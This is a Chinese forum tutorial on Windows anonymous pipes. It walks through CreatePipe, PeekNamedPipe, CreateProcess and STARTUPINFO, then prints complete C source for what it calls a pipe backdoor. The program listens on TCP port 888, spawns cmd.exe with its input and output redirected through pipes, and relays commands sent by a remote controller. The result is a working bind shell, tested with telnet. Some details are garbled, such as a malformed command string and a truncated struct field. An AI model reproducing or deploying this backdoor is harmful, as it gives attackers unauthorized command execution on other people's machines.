本帖最后由 kal 于 2021-8-16 17:32 编辑
1.管道技术
管道是一种简单的进程间通信的技术。在Windows下,进程间通信技术有邮槽、事件、文件映射、管道等。管道可以分为命名管道和匿名管。匿名管道比命名管道要简单许多,它是一个未命名的单向管道,常用来在-一个父进程和-一个子进程之间传递数据。匿名管道只能.实现本地机器上两个进程间的通信,不能实现跨网络的通信。
匿名管道由CreatePipe(函数创建, 管道有读句柄和写句柄,分别作为输入和输出。CreatePipe()函数的定义如下:
- BOOL CreatePipe() {
- PHANDLE hReadPipe,
- PHANDLE hWritePipe,
- LPSECURITY_ATTRIBUTES lpPipeAttributes,
- DWORD nSize
- };
复制代码
CreatePipe()函数将创建一个匿 名管道,并返回该匿名管道的读句柄和写句柄。该函数有4个参数,分别如下。
hReadPipe:指向HANDLE类型的指针,返回管道的读句柄。
hWritePipe:指向HANDLE类型的指针,返回管道的写句柄。
nSize:指定管道的缓冲区大小。这里赋值为0,使用系统默认大小的缓冲区。
lpPipeAttributes:指向SECURITY_ _ATTRIBUTES结构体的指针,检测返回的句柄是否能被子进程集成。如果此参数为NULL,则表示句柄不能被继承。匿名管道只能在父子进程间进行通信,进行数据的传递。那么子进程如果想要获得匿名管道的句柄,只能从父进程继承。SECURITY_ _ATTRIBUTES结构体定义如下:
- typedef struct _SECURITY_ATTRIBUTES {
- DWORD nLength;
- LPVOID lpSecurityDescriptor;
- BOOL bInheritHandle;
- }SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES;
复制代码
SECURITY_ ATTRIBUTES 结构体有3个成员,分别说明如下。
nLength:指定该结构体的大小,一般使用sizeof()来进行计算。
lpSecurityDescriptor:指向-一个安全描述符指针,这里可以赋值为NULL。
bInheritHandle:该成员指定所返回的句柄是否能被一个新的进程所继承。如果此成员设置为TRUE,那么返回的句柄能够被进程继承。这里设置为TRUE。
--个匿名管道有两头,分别是读句柄和写句柄。写句柄用来往管道中写入数据,读句柄用来把管道中的数据读出来。向管道读取或写入数据,直接调用ReadFile()或WriteFile()即可。在对管道进行读取前,先要判断管道中是否有数据存在,如果有数据,则使用ReadFile()函数将管道中的数据读出,以避免数据接收方长时间等待。判断管道中是否有数据存在的函数是PeekNamedPipe(),其定义如下:
- BOOL PeekNamedPipe{
- HANDlE hNamedPipe,
- LPVOID lpBuffer,
- DWORD nBufferSize,
- LPDWORD lpBytesRead,
- LPDWORD lpTotalBytesAvail,
- LPDWORD lpBytesLeftThisMessage
- );
复制代码
该函数有6个参数,其含义分别如下:
hNamedPipe:要检查的管道的句柄。
lpBuffer:读取数据的缓冲区。
nBufferSize:读取数据的缓冲区大小。
lpBytesRead:返回实际读取数据的字节数。
lpTotalBytesAvail:返回读取数据总的字节数。
lpBytesLeftThisMessage:返回该消息中剩余的字节数,对于匿名管道可以为0。
该函数读取管道中的数据,但是不从管道中移除数据。当有数据后,可以调用ReadFile()来完成数据的读取操作。为了避免长时间等待,可以先调用PeekNamedPipe()函 数判断管道中是否有数据,也可以通过主线程分别开启用于读数据和写数据的线程,这样在读数据时就可以不用进行是否有数据的判断了。这里采用前者。
匿名管道的通信和数据传递是在父子进程之间进行的。创建进程的函数在前面的章节已经介绍过了,这里再回顾一下。 前面介绍的创建进程的函数非常多,但是只有CreateProcess()函数满足现在的要求。CreateProcess()函 数的定义如下:
- BOOL CreateProcess{
- LPCTSTR lpApplicationName,
- LPTSTR lpCommandLine,
- LPSECURITY_ATTRIBUTES lpProcessAttributes,
- LPSECURITY_ATTRIBUTES lpThreadAttributes
- BOOL bInheritHandles,
- DWORD dwCreationFlags,
- LPVOID lpEnvironment,
- LPCTSTR lpCurrentDirectory,
- LPSTARTUPINFO lpStartupInfo,
- LPPROCESS_INFORMATION lpProcessInformation
- };
复制代码
其中主要的bInheritHandles 和lpStartupInfo参数:
bInheritHandles:该参数用来指定父进程创建的子进程是否能够继承父进程的句柄。如果该参数为TRUE,那么父进程的每个可以继承的打开的句柄都能够被子进程继承。
lpStartupInfo: - - 个指向STARTUPINFO结构体的指针。该结构体用来指定新进程的主窗口将如何显示,输入输出等启动信息。STARTUPINFO结构体的定义如下:
- typedef struct _STARTUPINFO {
- DWORD ch
- LPTSTR lpReserved;
- LPTSTR lpDesktop;
- LPTSTR lpTitle;
- DWORD dwX;
- DWORD dwY;
- DWORD dwXSize;
- DWORD dwYSize;
- DWORD dwXCountChars;
- DWORD dwYCountChars;
- DWORD dwFillAttribute;
- DWORD dwFlags;
- WORD wShowWindow;
- WORD cbReserved2;
- LPBYTE lpReserved2;
- HANDLE hStdInput;
- HANDLE hStdOutput;
- HANDLE hStdError;
- } STARTUPINFO, * LPSTARTUPINFO;
复制代码该结构体是设定被创建子进程的启动信息,它的成员非常多,这里主要使用其中的6个参数,具体如下。
cb:用于指明STARTUPINFO结构体的大小。
dwFlags:用于设定STARTUPINFO结构体的哪些字段会被用到。
wShowWindow:用于设定子进程启动时的现实方式。
hStdInput:用于设定控制台的标准输入句柄。
hStdOutput:用于设定控制台的标准输出句柄。
hStdError:用于设定控制台的标准出错句柄,类似于标准输出句柄,之所以要与hStdOutput分开,是因为有时出错后需要记录到文件中。
2.代码实现
以上就是管道后门所需要使用到的API函数,下面来具体介绍关于管道后门的实现技术方式。
后门分为控制端和被控制端。由于这里实现的是一一个 命令行的后门,那么控制端就是在不断输入相应的命令,比如dir、net user、ping 等命令。注意,这些命令并不是在控制端执行,而是送入远程的被控制端执行。当远程的被控制端执行完控制端需要执行的命令后,需要把相应的返回结构发送给控制端。
这里后门的需求已经明确,就是把控制台的命令和控制台的结果不断进行传输。方法是被控制端的父进程接收控制端发来的命令,同样被控制端的父进程发送命令运行的结果给控制端,而执行命令则由父进程创建的子进程(cmd.exe) 来完成。父进程启动子进程前,需要将STARTUPINFO中的输入输出句柄重定向到匿名管道中,这样父进程才能通过管道向子进程中传递命令,而子进程也能通过管道将命令的返回结果传递给父进程。代码如下:
- #include<stdio.h>
- #include<WinSock2.h>
- #pragma comment (lib, "ws2_32")
- int main()
- {
- WSADATA wsa;
- WSAStartup(MAKEWORD(2, 2), &wsa);
- //创建TCP套接字
- SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
- //绑定套接字
- sockaddr_in sock;
- sock.sin_addr.S_un.S_addr = ADDR_ANY;
- sock.sin_port = htons(888);
- bind(s, (SOCKADDR*)&sock, sizeof(SOCKADDR));
- //开启监听
- listen(s, 1);
- //接受客户请求
- sockaddr_in sockClient;
- int SaddrSize = sizeof(SOCKADDR);
- SOCKET sc = accept(s, (SOCKADDR*)&sockClient, &SaddrSize);
- //创建管道
- SECURITY_ATTRIBUTES sa1, sa2;
- HANDLE hRead1, hRead2, hWrite1, hWrite2;
- sa1.nLength = sizeof(SECURITY_ATTRIBUTES);
- sa1.lpSecurityDescriptor = NULL;
- sa1.bInheritHandle = TRUE;
- sa2.nLength = sizeof(SECURITY_ATTRIBUTES);
- sa2.lpSecurityDescriptor = NULL;
- sa2.bInheritHandle = TRUE;
- CreatePipe(&hRead1, &hWrite1, &sa1, 0);
- CreatePipe(&hRead2, &hWrite2, &sa2, 0);
- //创建通信子进程
- STARTUPINFO si;
- PROCESS_INFORMATION pi;
- ZeroMemory(&si, sizeof(STARTUPINFO));
- si.cb = sizeof(STARTUPINFO);
- si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
- si.wShowWindow = SW_SHOW;
- //管道1用于输出,管道2用于输入
- si.hStdInput = hRead2;
- si.hStdOutput = hWrite1;
- si.hStdError = hWrite1;
- char *szCmd[] = { 'cmd' };
- CreateProcess(NULL,szCmd,NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
- DWORD dwBytes = 0;
- BOOL bRet = FALSE;
- char szBuffer[0x1000] = { 0 };
- char szCommand[0x1000] = { 0 };
- while (TRUE) {
- ZeroMemory(szCommand, 0x1000);
- bRet = PeekNamedPipe(hRead1, szBuffer, 0x1000, &dwBytes, 0, 0);
- if (dwBytes) {
- //当hStdOutput和hStdError向管道1写入数据后,应该将管道1中的数据读出
- ReadFile(hRead1, szBuffer, 0x1000, &dwBytes, NULL);
- send(sc, szBuffer, dwBytes, 0);
- }
- else {
- //富金冲收到控制端的数据后,写入到管道2中
- int i = 0;
- while (1) {
- dwBytes = recv(sc, szBuffer, 0x1000, 0);
- if (dwBytes <= 0) {
- break;
- }
- szCommand[i++] = szBuffer[0];
- if (szBuffer[0] == '\r' || szBuffer[0] == '\n') {
- szCommand[i - 1] = '\n';
- break;
- }
- }
- WriteFile(hWrite2, szCommand, i, &dwBytes, NULL);
- }
- }
- WSACleanup();
- return 0;
- }
复制代码然后用telnet命令连接即可测试了。
使用道具 举报
使用道具 举报